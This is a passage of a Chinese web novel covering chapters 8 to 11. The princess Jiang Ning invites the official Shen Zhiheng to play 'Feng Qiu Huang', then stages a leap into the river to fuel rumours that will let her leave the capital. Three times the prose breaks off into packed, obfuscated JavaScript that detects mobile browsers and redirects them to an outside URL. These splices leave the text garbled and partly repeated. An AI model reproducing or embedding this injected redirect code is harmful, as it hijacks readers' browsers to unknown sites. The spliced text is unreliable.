红叶正指挥侍女将晚膳一道道自小厨房捧至厅内。 恰在此时，苏七搀扶着苏九步履蹒跚地挪了进来。 未等姜宁开口问询，苏九已抢先哀嚎出声，控诉道：“殿下，沈之衡府中那恶犬，简直凶残成精了！” 区区一只狗，至于如此狼狈？ 姜宁秀眉微蹙，疑虑刚起。 紧随其后，苏七面色平静无波地补上了关键一句，声如沉水：“随后，惊动了大理寺的人。” 8. 第八章 公主邀约 沈之衡回到府中时，大理寺的一队人正在门外肃立。见他归来，其中一人快步上前，抱拳道：“大人，少卿已在府中等候多时。” 沈之衡微微颔首：“好，我知道了。” 刚踏过门槛，一只黄犬便狂吠着冲来，摇着尾巴，热情地绕着他转圈。沈之衡俯身半蹲，手刚伸出，那黄犬便止住了吠声，乖顺地将脑袋顶进他的掌心蹭了蹭。 向恒声正负手立于院中，瞧着这温馨一幕，朗声笑道：“可算是回来了。再不回来，我的耳朵都要被洛松的吠声震聋了。” 沈之衡抬眼望去，眉宇间掠过一丝笑意，起身道：“出宫时遇到承嘉公主，被绊住了。” “哈哈哈，”向恒声大笑，随即话锋一转，带着几分调侃，“说起来，这位公主心思还真是活络。那边缠住你，这边就敢派人来你府上‘光顾’了。” “哦？”沈之衡眉峰微挑，流露出些许意外。 他径直走向正厅，案几上酒菜茶点已备。他撩袍落座，执壶为自己斟了杯清茶。洛松则跟他身后，随后安静地伏卧在他脚边。 向恒声跟着坐下，自斟了一杯酒仰头饮尽，解释道：“方才洛松在你书房外叫得不同寻常，门外大理寺的弟兄觉察到不对，冲进去时正撞见两个男人翻窗逃走。据他们报，看那身形架势，似在公主府见过。对了，公主身边那俩侍卫叫什么来着……？”他皱起眉，一时卡住。 沈之衡啜了口茶，提醒道：“苏七和苏九。” “对对！就是这俩！”向恒声连连点头，脸上笑意更浓，“要我说，你和公主倒是真有意思，她扣你证物，你拿她宝物。莫不若你干脆去公主府上当个驸马爷，让她直接还你证物得了。省得这一天天的，你俩在这偷来偷去，白费我这大理寺的人力。” 沈之衡瞥了他一眼，淡淡吐出两个字：“聒噪。” “哈哈哈！”向恒声被他这反应逗得更乐。 “东西没丢吧？”沈之衡问道。 “没，多亏洛松机灵。”向恒声说着，用筷子夹起一块排骨，弯身喂给洛松，“是吧，洛松。” “汪汪！”洛松欢快地叼过排骨，尾巴扫得呼呼作响。 “嗯。”沈之衡应了一声，这才拿起碗筷。 向恒声撕咬下一块牛肉，含糊不清地问：“对了，你当时夜探公主府，怎么就挑中了这两样东西？” 沈之衡目光沉静：“《百草经》虽是医书，但置于书案显眼处，翻阅痕迹颇多，书页间还夹杂着公主的亲笔批注，当是心头所爱。《千里江山图》乃赵孟恺先生的绝笔，价值连城，养护亦是极其用心。”他顿了顿，眼神似乎望向悠远的过往，“况且，我与赵孟恺先生，尚有一面之缘。” “原来如此。”向恒声了然。 沈之衡垂眸，指尖摩挲着杯沿问说道，“我原想着取走这两样，或可与公主作个交换。如今她选择派人来偷，看来是铁了心要保苏家，证物是不会轻易还了。” 闻言，向恒声叹了口气，语气带着几分遗憾：“那日若是我先找到你……” “良安，”沈之衡截断他的话，声音平稳宽慰，“世事难料，无需介怀。总会有办法的。” 向恒声忽而想到昨夜的惊险，神色转为严肃：“你一回来，那些人就如坐针毡。昨日的刺杀，绝非终点。大理寺虽尽力，亦难保万全，你自己务必当心。” 沈之衡颔首，随后目光望向院外。 月色下，稀疏的竹影随风婆娑。 他眼底闪过不易察觉的锐色，沉吟道：“只待年后，我们也该动手了。” —————— 自苏七、苏九夜探沈府无功而返后，姜宁便放弃了取回《千里江山图》和《百草径》的念头，转而潜心钻研从沈之衡那里扣下的账册证物。 幸得苏长英在吏部任职，将账册上涉案官员的根底，尽数告知。姜宁闭门府中半月有余，已将那二十余名官员的出身背景、仕途轨迹一一梳理。 梳理间，一个端倪渐渐浮出水面。账册上这些官员的脉络，竟与汪家一系毫无牵涉。但正是这过于干净、撇得彻彻底底的关系，才显出几分刻意与反常。尤其是其中十位官员的履历，不约而同地指向同一个核心——户部。 户部？ 线索至此，仿佛走入一团迷雾，任凭姜宁和苏家如何推敲，也难以再窥破更深层的关联。 姜宁仍是按例，每日入宫向父皇请安。裴洛之事，父女二人心照不宣地不再提起。但是姜宁深知，那道隔阂的已然横亘在御座与公主府之间。 请安路上，她虽刻意避着汪皇后，偶尔却在庆元殿遇见太子姜齐。当着皇帝的面，兄妹二人维持着恰到好处的谦和与疏离，维系着御前那点单薄的“兄友弟恭”。 即便是除夕宫宴，她也只是碍于父皇在上，平静地与后宫妃嫔、太子等人分食着象征团圆的珍馐。 席间流转的丝竹管弦，透不进心底半分。 转眼便到了正月初五。 这日，公主府内，姜宁又如同往常那样，坐回书案旁，指尖划过那些写了又写的名字，蹙眉思索着破局之法。每每此刻，总忍不住心中轻叹：这证物若在沈之衡手中，或许能够更快勘破其中玄机吧？ 可他，必然不会保下苏家。 侍立一旁的惜桃见自家殿下整日眉头深锁，心下忧虑。她轻手轻脚地奉上一盏温热的牛乳茶，觑着姜宁神色，试探道：“殿下，今日是‘破五’，街市上可热闹了。要不咱们出去散散心？” 姜宁头也未抬，声音淡得似一缕烟：“我不去。你唤上红叶她们，自去逛逛吧。” 惜桃不肯放弃，又近前一步，语调也带了点活泼的期冀，“听闻今夜永安坊有壮观的打铁花。沉月河畔，百姓放河灯祈福，寄托对故亲的哀思。在浮月桥头，还有相携的有情人放孔明灯祈愿今生长久。殿下真不想去看看这般人间烟火气吗？” 姜宁依旧静默，只微微摇了摇头。 “好吧。”惜桃只得失望地应下，正要福身告退。 姜宁的指尖却在此时一顿，抬眸道：“你方才说，有情人在何处放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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向恒声自顾拂袍落座，执起案上温着的茶壶，徐徐斟满一杯茶盏。饮罢，他抬眼看向沈之衡，唇角勾起一丝玩味：“我路过你府上，想着来瞧瞧你。你猜，恰好在门口遇见了谁？” “不知。”沈之衡手上未停，又翻开另一卷公文。 “公主府那个苏七。”向恒声吐出这个名字时，笑容里带着显而易见的揶揄。 “哦？”沈之衡捻着页角的手指一顿，终于抬眼看向对方，将那卷公文搁置一旁。 见他有了反应，向恒声这才悠悠起身，自袖中摸出一方请柬递过去：“喏，苏七送来的。给你的。” 沈之衡眉峰几不可察地一蹙，伸手接过。 趁他展开请柬垂眸细看的间隙，向恒声探身过去，目光快速扫过那几行小字，蓦地朗声笑起来：“啧啧，戌时，浮月桥头？那可是今日京城里才子佳人最爱相约之地。公主殿下莫不是……”他拖长了尾音，“真对你有意了不成？” 沈之衡面沉如水，不疾不徐地合上请柬，语气极淡：“想多了。” 话音落下的同时，他已然起身，抬步便往外走。 向恒声见状，立刻扬声喊道：“怀野，离戌时可还早着呐，你不会这就赶着赴约去吧？” 沈之衡的身影已穿过书房门扉，清冷的嗓音隔着庭院遥遥传来：“不过更衣罢了。” “汪！汪！”洛松闻声跃起，欢快地摇着尾巴冲出书房，紧跟着沈之衡的脚步，消失在回廊尽头。 9. 第九章 何至于此 正月初五，京城的“破五”之庆，夜间的街巷喧嚣鼎沸，人潮涌动。 依照原定部署，本该由向恒声率大理寺官差巡视永安坊。但为不错过今夜浮月桥畔公主相邀的好戏，他特意寻了兵马司指挥使，一番周旋，将两处巡视区域调换。今夜，沉月河畔的治安，落到了大理寺肩上。 戌时未至，沈之衡与向恒声二人已抵达浮月桥。 出乎他们意料的是，姜宁一行早已等候在此。此刻，姜宁正端坐于浮月桥旁的一座精致亭台之内，与沈之衡、向恒声隔河相望。 浮月桥周遭，早已聚满了成双成对的年轻男女。桥下，沉月河波光粼粼，水面上漂浮着数不清的河灯。桥上，无数孔明灯冉冉升起，化作漫天繁星，与地上的灯火交相辉映。 随着姜宁的指尖拨动琴弦，一曲《高山流水》如清泉流淌，淙淙铮铮，穿透了河畔的喧嚣，与这灯火璀璨的盛景，相得益彰。 此曲刚起，便隐约可听到桥上行人的窃窃私语： “桥边亭台里抚琴的是哪家千金，生得如此绝色。”路人甲忍不住低声赞叹。 “嘘！小声些！听说是承嘉公主殿下。”路人乙连忙压低声音回应。 “承嘉公主？那不就是前些日子才回京，传闻在长安城颇为奢靡的那位？”路人甲语气中带着几分迟疑与好奇。 “妄议天家贵胄，项上人头是不想要了么？”一个带着冷意的声音突然从甲、乙身后响起——正是悄然凑近的向恒声。 那两人惊骇回头，见是身着大理寺官服之人，吓得面色惨白，连连作揖告饶：“大人恕罪！小的们口无遮拦，再也不敢了！” “不敢？”向恒声冷哼一声，朝身后随行的差役使了个眼色。差役会意，上前将二人带离了人群。 沈之衡对此恍若未闻，面色沉静，目光始终落在对岸亭台。他独自穿过桥上熙攘的人流，径直朝那亭台走去。 亭台入口处，侍立的苏七与苏九见沈之衡前来，二人躬身抱拳道：“沈大人，殿下已恭候多时。” 沈之衡微微颔首，步入亭台。恰在此时，姜宁指尖最后一个音悠然收束，一曲终了。 侍立一旁的惜桃立刻上前，为沈之衡奉上一盏新沏的热茶，随即识趣地福身告退。沈之衡目光微垂，略一点头，算是谢过。 待他拂袍在姜宁对面的石凳上落座，姜宁才缓缓抬眸，嘴边笑意清浅：“沈大人，来了。” “不知公主殿下相邀，所为何事？”沈之衡没有迂回客套，开门见山。 姜宁嘴角的笑意深了些许，却并未直接回答，反而问道：“沈大人可通音律？会吹箫么？” 沈之衡眉峰几不可察地一蹙。他不明姜宁此问用意，但仍如实答道：“略通一二。” 姜宁眼睫轻抬，眸光平静如水：“那便请沈大人，与本宫合奏一曲吧。” “何曲？”沈之衡沉声问道。 “《凤求凰》” 话音刚落，沈之衡置于膝上的指尖几不可察地微微一颤。他抬眸，目光沉沉地看向姜宁。此刻的姜宁，依旧维持着那副浅淡的笑意，姿态闲适，恰似那日在宣政殿外，她看似漫不经心投来的打量目光。 此曲背后的故事，沈之衡并非不知。 《凤求凰》虽是千古名曲，但在大凌朝，此曲的琴箫合奏，则以当今圣上姜厚钦与已故的明昭皇后苏灵均最为人称道，堪称绝响。 当年七子夺嫡，风云诡谲。时任内阁首辅苏崇的长女苏灵均正值婚龄，未娶正妃的皇子们无不趋之若鹜。后来，在太后亲自主持的赏花宴上，时为三皇子的姜厚钦以一曲《凤求凰》琴音诉情，终得佳人芳心。 大婚之日，帝后二人琴箫相和，一曲《凤求凰》缠绵悱恻，情深意长，连带着这段往事，成为流传京华数十载的佳话。 此事，身为帝女的姜宁，心知肚明。她以此曲相邀，其中深意，已是不言自明。 沈之衡只是凝望着姜宁，沉默不语。而姜宁亦回望着他，唇边笑意未减，并未出言催促。 亭台内一时寂静，唯有亭外河畔的喧嚣隐隐传来。 良久，沈之衡才轻声开口：“为何是微臣？”那素来清冷的嗓音里，带了一丝难以察觉的微颤 姜宁的笑意更深，眸光流转，语气带着几分理所当然的坦然：“沈大人出身清白，状元之才，品行在朝野有口皆碑，样貌亦是京中翘楚。京城倾慕沈大人的官家闺秀甚多，”她顿了顿，目光在他脸上轻轻掠过，“若本宫欲择驸马，为何不能是沈大人？” 这番话，她说得恳切真挚，仿佛字字发自肺腑。然而，沈之衡并未相信。但他也一时难以勘破这位公主殿下的葫芦里究竟卖的什么药。 “此曲……请恕微臣，不能应命。” 听闻此言，姜宁面上并无半分愠色，反而笑意盈盈。她不再多言，指尖轻拨，一曲《凤求凰》的琴音自她指下流淌而出，瞬间盖过了河畔的嘈杂，清晰地传遍沉月河两岸。 当朝承嘉公主，于浮月桥畔，为一俊朗郎君独奏《凤求凰》。此情此景，不免让众人想到当年圣上在赏花宴上以琴音求娶明昭皇后的旧闻。 沉月河畔、浮月桥上，无数百姓纷纷驻足，惊诧的目光齐刷刷投向那座亭台，人人心中都揣着同一个好奇：亭中那位俊朗的郎君，面对公主如此直白炽热的“凤求凰”，究竟会作何回应？ 就连在河对岸一直遥遥观望的向恒声，此刻也惊得张大了嘴，半晌才喃喃自语道：“怀野莫不是真要尚主，当上驸马了？” 姜宁指尖流淌出的音符，技巧娴熟，余韵悠长，须臾间便能听出抚琴者天赋卓绝、名师相授的底蕴。 《凤求凰》本是曲诉衷肠，倾慕缠绵，可在姜宁手中，沈之衡却听不到半分情意，只余戏谑与撩拨。那熟悉的挑逗之意，让他不禁想起那日在庆元殿外——她在他耳畔低声戏谑：“本宫丢了个男宠，沈大人若知晓，可得给本宫送来。” 一念及此，一股复杂情绪猝不及防地绞住他的心头。是被当作玩物戏耍的羞愤与怒火，又夹杂着一丝隐约的不甘。 不甘……？ 沈之衡眉宇骤然蹙得更紧，一时难以堪破这陌生的躁动。 一曲终了，四下寂然，唯余桥上与河畔的喧嚣作衬。 半晌，姜宁抬眸望向漫天明灯，倏然开口：“若将东西交予沈大人，大人能否保下苏家？” “不能。”沈之衡没有犹豫。“苏家贪墨四十万两之多，云阳百姓的血泪，需要一个交代。” 姜宁唇边逸出一声冷笑，反诘道：“那户部呢？” 沈之衡指尖几不可察地一颤，目光沉沉地回望她，缄口不言。 无声已是答案。姜宁心下了然，沈之衡必然是知晓户部内情的。 “沈大人信也罢，不信也罢，”她正色道，“苏家之事，另有隐情。” “纵有千般不得已，”沈之衡声音更冷，“也不该染指关乎民生的国帑！” 姜宁扶着冰冷的石桌缓缓起身，眸中深不见底，“工部苏成，浙江林家。此中牵连，沈大人自可去详查。”稍顿，她唇边蓦地绽开一抹说不清、道不明的笑意，“本宫倒是好奇，若他日需在黎民苍生与心头所重间择其一，沈大人会如何取舍？” 沈之衡目光骤沉，依旧不答。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138560|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜宁踱步至他身侧，指尖带着不容置疑的力道抬起他的下颌，笑意张扬，言语带着戏谑道：“名声、权势、金银……凡是沈大人想要的，我姜宁皆可拱手奉上。” 她朱唇轻启，“如今，本宫尚且缺一位驸马。不知沈大人，意下如何？” 沈之衡迎上她的视线，眸中是拒人千里的傲然冷意：“殿下乃金枝玉叶，当栖梧桐。微臣卑若蝼蚁，只合在泥淖中曳尾求生。还请殿下——另择佳偶。” 姜宁挑眉道：“若本宫偏要强求呢？” 语声刚落，她右手腕骤然一紧。沈之衡已倏然握住她的手腕，顺势起身，向后退开半步，深深一揖。那动作干净利落，带着隔绝的距离。 他声音冷冽道：“微臣毕生所求，从来不是功名富禄，臣唯愿山河清晏。殿下强求姻缘，何异于折鹤羽而充笼雀？” “好一个清流风骨。”姜宁莞尔一笑，不疾不徐地解开肩上的大氅，任由那大氅落地。随后行至亭台边缘，临栏而立。 沈之衡不动声色，揣测着她下一步动作，却见姜宁倏然侧首，朗声将话语抛掷而出：“若沈大人执意不做这驸马。那姜宁活着，还有何意趣？” 沈之衡瞳孔骤缩，心脏仿佛被无形之手攥紧。他来不及思索，身体已先于意识做出反应，快步上前，伸手欲抓，但指尖所触，只捞到一片冰冷的空气。 姜宁已然纵身跃入沉月河，荡起河面涟漪。 整个场面顿时陷入死寂般的凝固。 沈之衡目眦欲裂，下一瞬间，毫不犹豫地随之跳入河中。几乎同时，苏七、苏九两道身影也已跳入河中，直冲姜宁落水之处。 对岸一直观望亭台的向恒声见此，惊得魂飞天外——苍天！这都谈了什么啊？！他随即吼道：“你们都愣着作甚？！快救公主！” 吼声震醒了呆立的大理寺官差，一时间，身着大理寺官服的数道身影接连跃入沉月河中，扑通声不绝于耳。 变故只在须臾，旁观的百姓尚不及反应，便被这连串的惊变彻底震住。 很快，沈之衡和姜宁分别被苏七、苏九救上岸边。 沈之衡呛咳着水，惊魂未定地抬眼望去。姜宁已被飞奔而来的惜桃紧紧搂在怀中，身子颤抖，嘴唇发紫，水珠不断从她湿漉的发梢滑落，落在她紧闭的眼睑上。 “殿下……可还好？”沈之衡声音嘶哑微颤。 惜桃猛地回望，眼中是毫不掩饰的痛惜：“奴婢不知大人究竟说了什么，竟逼得殿下走上绝路。殿下若有不测，大人便自行向圣上请罪吧！”她转头对着苏七和苏九急道：“速回公主府！” 此言一出，三人匆匆护着意识模糊的姜宁消失在夜色中。沈之衡仍如失了魂般僵卧于冰冷坚硬的地面，刺骨的冷侵入骨髓，他浑身难受得厉害。 方才姜宁决绝跃下的剪影，一遍遍在他眼前回放。 何至于此？她何至于此？ 沈之衡心头一片寒凉与茫然，全然不明白这位素日闲适散漫的承嘉公主，方才为何如此决绝。 未几，向恒声带着大理寺的人快步赶到。他费力地将沈之衡扶起，声音里是压不住的惊怒与后怕：“你又不会水！跟着跳是不要命了？更别说你身上那毒，最忌寒凉！你……” 正说着，怀中的沈之衡双眼一阖，彻底失去了意识。 向恒声只觉得头痛欲裂，胸中浊气翻腾。 当朝公主盛装邀约都察院重臣，一曲《凤求凰》示爱本就石破天惊，这转眼又当众跳河。众目睽睽，众口一词。这消息若传入圣上耳中…… 向恒声连喘气都开始生疼，他简直不敢想象这烂摊子该如何收场。 10. 第十章 流言缠身（一） 次日，正月初六。 依大凌律例，自除夕起百官可休沐七日，无需早朝。但皇帝姜厚钦勤勉为政，自登基之日起便定下规矩，年节之中逢双日，文武重臣仍需入宫议政。 早朝上，首辅苏崇奏报了来年各部预算及内阁初步批议后。姜厚钦习惯性地看向左都副御史的位置，问道：“沈卿以为呢？” 群臣目光随之望去，才发现那个位置竟是空的。姜厚钦此时才注意到沈之衡缺席，又问道：“今日沈御史为何没来？可有爱卿知晓？” 站在班列中的向恒声心口一紧，向右踏出两步，躬身小心答道：“回陛下，沈大人昨夜与微臣在城中赏灯，不慎失足落水，感染了风寒。眼下仍在昏迷，未能上朝，还请陛下恕罪。” “哦？可请太医看过？”姜厚钦言语间流露出明显的关切。 “昨夜事发突然，时辰已晚，未敢打扰宫门。”向恒声垂首更低。 姜厚钦沉吟片刻，转向李鸿顺吩咐道：“散朝后，你去安排刘太医走一趟沈府，瞧瞧沈卿。” “诺。”李鸿顺躬身领命。 向恒声强自镇定地起身退回原位，只觉额角渗出细密冷汗，后背衣衫也已被浸湿。 他唯恐皇帝紧接着追问落水详情，那沸沸扬扬的内情，他实在不知该如何作答。 散朝后，姜厚钦如往常般回到庆元殿处理政务。时光流转，不觉已是黄昏。他见姜宁迟迟未来请安，搁下朱笔，对殿外问道：“李鸿顺，姜宁还没来？” 李鸿顺趋步入内，恭敬回禀：“回陛下，尚未见殿下。” 姜厚钦眉头微蹙，“派人去公主府问问，可是出了什么事？”他指尖轻叩御案，又低声自语，“陈泽也不来通禀一声，莫非真当自己是公主府的人了？” “老奴这就差人去问。”李鸿顺应道，正要转身退下，却见陈泽步履匆匆已行至殿门外。他立即回身请示：“陛下，陈泽校尉到了，在外面候旨。” “宣他进来。” 话音刚落，陈泽便大步迈入殿中，行礼道：“陛下，公主殿下今日身子不适，特命臣前来告假，今日无法入宫给陛下请安了。” 联想到沈之衡同样因此缺席早朝，姜厚钦心中疑窦顿生：“公主的身子怎么了？” 陈泽抬头，脸色为难，欲言又止，最终深吸一口气，果断跪地禀报：“臣不敢欺瞒圣上。回陛下，昨夜殿下在浮月桥畔不慎落水，回府后便发起了高烧，至今卧床难起。” “又是落水？呵，真是巧得很！”姜厚钦冷哼一声，面沉如水，转向李鸿顺命令道，“李鸿顺，你现在就亲自出宫，给朕查清楚，究竟是怎么回事！” “老奴遵旨。”李鸿顺躬身领命，迅速退出庆元殿，快步穿过宫门离宫而去。 ———— 坤宁宫内，皇后汪荣手持花剪，慢条斯理地修剪着案头一盆兰花。旁边一位老嬷嬷正低声为她念着父亲汪远的来信。 念罢，汪荣接过信笺，又逐字细看了一遍。眉宇间俱是疑惑，低语沉吟：“本宫是越发看不懂了这姜宁回京后的行止了。当年见她眉眼越长越像先皇后，越发勾起圣上那份愧疚心，本宫担心圣上会深究旧事，才寻了法子将她逼离京城。若早知今日是这等情形，倒不如让她留在京城，放在本宫眼皮底下看着才好。” 那位侍立的老嬷嬷低声回道：“皇后娘娘，依老奴浅见，姜宁此番跳河的疯劲儿，和当年她怒砸您寝宫时的情形何其相似。只怕是这跋扈乖张的性子，未曾改过分毫。” “若真是秉性难移，倒也容易应付。”汪荣放下花剪，指尖捻了捻花枝，“就怕是醉翁之意不在酒。” 她踱步至窗边案几前坐下，食指无意识地轻叩着桌面，脑中仔细梳理着姜宁回京后的种种——先是索要了先皇后别院改作公主府，接着探望了苏家，再然后是与沈之衡有所往来，最后闹出昨夜浮月桥那场沸沸扬扬的求爱跳河。 堂堂皇室公主，天潢贵胄，竟当着全京城百姓的面，独奏《凤求凰》向一个都察院御史求爱，遭拒后竟羞愤到当众跳河寻死？ 汪荣眉头紧锁，实在揣摩不透姜宁葫芦里卖的是什么药。难道真就对那沈之衡情根深种到了如此地步？还是另有一番深意？ 她抬眸问道：“此事，圣上那边可已知晓？” 嬷嬷忙回道：“庆元殿那边递话过来，说是公主府的人面见了圣上之后，李公公便匆匆出宫了。想是奉了圣上旨意去查问。” 汪荣嘴角微微一弯，掠过一丝冷然的笑意：“你即刻去给汪家递话，着他们在京中布置些流言蜚语，就说承嘉公主对朝中重臣痴心一片，被拒后万念俱灰，意欲以死相逼，胁迫对方娶她。务必让这话，尽快传入圣上的耳中。” 嬷嬷心领神会：“娘娘放心，老奴明白其中轻重，这就去安排。” —————— 沈府内，向恒声焦躁不安地在房中来回踱步，洛松亦伏卧守在沈之衡床榻前。 刘太医仔细诊过脉后，提笔开了方子。 向恒声立刻让大理寺差役去抓药煎煮。看着差役接过药方跑出去，他忽地想到，沈之衡身边也该添几个伺候的人了，不然自己手下这些大理寺官差都快成他沈沈之衡的专用仆役了。 待到煎好的药汁被小心翼翼地喂沈之衡服下，刘太医又在其手腕几处穴位施了针。片刻后，沈之衡眉心一蹙，缓缓睁开了眼睛。 见人醒来，刘太医又细细交代了向恒声一番照料的事项，便告辞离开了。 听着刘太医远去的脚步声消失在廊下，沈之衡气息微弱，目光投向床边的向恒声，声音干涩沙哑：“公主殿下……怎么样了？” 向恒声一听，忍不住扶额叹气：“我说怀野，你现在还有心思管殿下？你自己的小命都差点交代了！”他越说越气急，“你往河里跳的那一刻，是把不通水性给忘了？是把自己身上的毒给忘了？还是真就铁了心要给公主殿下殉情了？啊？！” 沈之衡置于锦被外的手微微蜷缩了一下，眸色更加黯淡，艰难地追问：“殿下……没救回来……吗？” 向恒声简直气笑了，声音拔高：“殿下没事！好着呢！” “嗯。”沈之衡极其轻微地应了一声，随即又疲惫地阖上了双眼。 向恒声抓起桌上的冷茶壶，仰头灌了几大口，才稍稍顺过气来。他坐到床沿边，压低了声音问道：“昨夜你和公主到底怎么回事？怎么聊着聊着，就闹到跳河的地步了？” 沈之衡沉默着，并未睁眼。 向恒声急道：“大理寺留在宫门口的兄弟刚传回消息，圣上已经派李公公出宫查问昨晚的事了！究竟发生了什么，你赶紧告诉我啊！咱们得赶紧想个能圆过去的说法，回头圣上问起来，才不至于措手不及！” 沈之衡的眼睫终于颤动了一下。 昨夜发生了什么？ 无非是她问他可愿做她的驸马，他回拒了。 然后，她便纵身跳下了沉月河。 ——“若沈大人执意不做这驸马，那姜宁活着，还有何意趣？” 她那平静又决然的语调，仿佛仍在耳畔回响。 过了许久，沈之衡才低低地开口，带着难以言喻的困惑：“良安，你说她……何至于此？” 向恒声闻言，一脸错愕：“所以外面疯传的那些话，说公主是因你拒婚才羞愤跳河寻死，竟是真的？” “我不知道，”沈之衡的声音轻得像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏长英自行在桌边坐下，接过惜桃随后奉上的茶，语气淡淡：“承嘉公主求爱遭拒，羞愤跳河。这等传得满天飞的‘佳话’，你自己信吗？” 惜桃此时已细心地将房门轻轻合拢，重新站回姜宁榻侧。 姜宁笑意更深：“我自是不信，可有人信得不就好了吗？” 苏长英端起茶盏，撇了撇浮沫：“也对。祖母可是真信了，心里急得不行，非要我立刻过来瞧瞧你究竟如何了，问你为何非要想不开，寻死觅活就为了个沈之衡。” 姜宁眨眨眼，带着几分撒娇意味：“那就劳烦长英哥哥回去帮我好生宽慰祖母。我无事，昨夜不过是场苦肉计。” 苏长英点点头，啜了口茶，放下茶盏，眉宇间带着探询：“所以呢？昨夜闹出这么大动静，甚至有可能惊扰圣驾，究竟意在何处？不仅祖父费解，我亦是困惑。” 姜宁收回笑容，目光落在屋内跳动的烛火上，语气平缓清晰：“为了出京罢了。” “出京？”苏长英扬眉。 “是啊，”姜宁又恢复了平日里那种漫不经心的慵懒姿态，“一个奢淫无度的公主，求爱被拒，羞愤之下离京游玩散心，最终跑到了庆阳那富庶风流地再觅新欢。这后续，不是顺理成章，且再自然不过了么？” 闻言，苏长英微微一怔，随即无奈地轻轻叹了口气：“虽是为了去探望……裴落，可至于闹得这般惊天动地么？” 姜宁笑着摇头，眼中却无多少笑意：“长英哥哥，你不懂。”她顿了顿，悠然又道：“沈之衡这枚棋子，我要他——只能为苏家所用。” 11. 第十一章 流言缠身（二） 正当姜宁与苏长英低语商议时，房门再度被叩响。 苏七的声音隔着门扉传来：“殿下，李公公到了。” 姜宁眸光一闪，嘴角扬起一丝狡黠的笑意，看向苏长英低语道：“长英哥哥，陪我演场戏吧。” “什么戏？”苏长英眉头紧蹙。 门外廊下，李鸿顺及其随行内侍刚到，便清晰地听见房内骤然爆发出瓷器碎裂的脆响，紧接着是声调拔高的激烈争执。 “那沈之衡究竟有何等本事，值得你为他寻死觅活？你是真要把祖父祖母气倒才甘心？”一个低沉压抑却皆是怒意的男声响起。 李鸿顺听着，倒像是苏家长孙苏长英。他暗自诧异，这位素来沉稳持重的吏部官员，竟也有如此失态之时。 “可我爱他！我只想要他做驸马！”姜宁的嘶喊带着撕裂般的哭腔。 砰！又一声重物砸地的闷响。 “满京城俊彦才子、名门贵胄何其多！难道还不够你挑选？”苏长英的声音透着焦灼与痛心。 “我在长安十二年，形单影只。如今只有在他沈之衡身边，我这颗心才得以安宁，兄长你又怎会懂？”姜宁的呼喊充满了孤注一掷的决绝，“我只要他，只要他沈之衡！” “荒谬！你这般行事，将皇家威仪置于何地？将苏家门楣又置于何地？” 门外的李鸿顺听着这番激烈言辞，手心已微微沁汗，下意识地在袖底拭了拭，看向一旁的苏七。 苏七神色却显出司空见惯的平静，略一欠身：“公公，请。” 就在此时，姜宁的嘶吼再次穿透门板：“既然苏家与父皇都是这般看我，倒不如别救漪漪，让漪漪死了干净！” 李鸿顺闻言色变，再也顾不得礼数，猛地推门而入，迭声惊呼：“殿下！万万不可！万万使不得啊！” 房内景象映入眼帘：姜宁钗环微乱，正奋力作势要撞向墙壁，全然失了平素的清贵仪态。侍女惜桃拼尽全力将她拦腰抱住。苏长英立于几步之遥，面色铁青，怒意未消。 见李鸿顺闯入，苏长英强压火气，佯作镇定，沉声道：“李公公怎么来了？”目光凌厉地扫向苏七，“下人们也不通报一声，就是这样当差的？公主府便是如此规矩？” 苏七连忙单膝跪地：“属下失职！请苏公子责罚，勿要迁怒殿下！” 姜宁见状，哭声越发悲绝：“兄长要责怪我，只管冲着我来便是，何必拿苏七撒气！” “你！”苏长英被她一激，侧身怒斥，“你在长安便任性妄为，回了京城怎地还是这般不知收敛？” 眼瞅着二人又要争吵，李鸿顺急忙上前圆场：“殿下息怒！苏大人息怒！切莫伤了和气啊。” “哼！”苏长英重重冷哼一声，霍然甩袖，对着姜宁丢下一句，“罢了！我管不了你！你好自为之！”言毕，他转向李鸿顺，语气勉强维持着礼节，“公公若是领旨而来，正事要紧，莫因这家门琐事耽搁了圣命。” 李鸿顺会意，郑重一揖，随即转向仍在抽泣的姜宁，声音放得极为柔和：“陛下听闻殿下凤体欠安，忧心如焚，特命老奴携这株千年山参，前来探望殿下玉体。”他身后的小内侍立刻躬身，将一只精致的紫檀木匣捧到姜宁面前。 姜宁抽噎着用手帕拭去泪痕，接过木匣递给惜桃，哑声道：“姜宁谢过父皇圣恩。”她转而看向李鸿顺，声音疲惫而歉意，“有劳公公奔波。今日……让公公见笑了。” “哼，你倒也知道‘丢人’二字？”一旁冷眼旁观的苏长英忍不住又刺了一句，气仍未消。 李鸿顺连忙替姜宁解围：“殿下言重了，侍奉主子是老奴的本分。天色已晚，老奴不敢叨扰殿下安寝，这就回宫复命了。”说着便要告退。 “公公且慢，本宫还有一事相求。”姜宁猛地抬头，再度出声将他唤住。 李鸿顺止步，恭敬道：“殿下请吩咐。” 姜宁抬起红肿的双眼，带着孤注一掷的期盼：“公公常在御前行走，回宫之后能否代为恳求父皇，为我和沈之衡赐婚？” “哼！”苏长英一声饱含怒意与失望的冷嗤，猛地拂袖，头也不回地快步离去，身影消失在门外。 李鸿顺心头一震，面上竭力保持平稳，谨慎答道：“殿下，此事关乎重大，绝非老奴能够置喙，全凭陛下圣心独断。但殿下这番心意，老奴定当一字不差，如实向陛下禀明。” “如此……便多谢公公了。”姜宁话音未落，巨大的悲伤仿佛瞬间将她淹没，猛然爆发出一阵撕心裂肺般的痛哭。 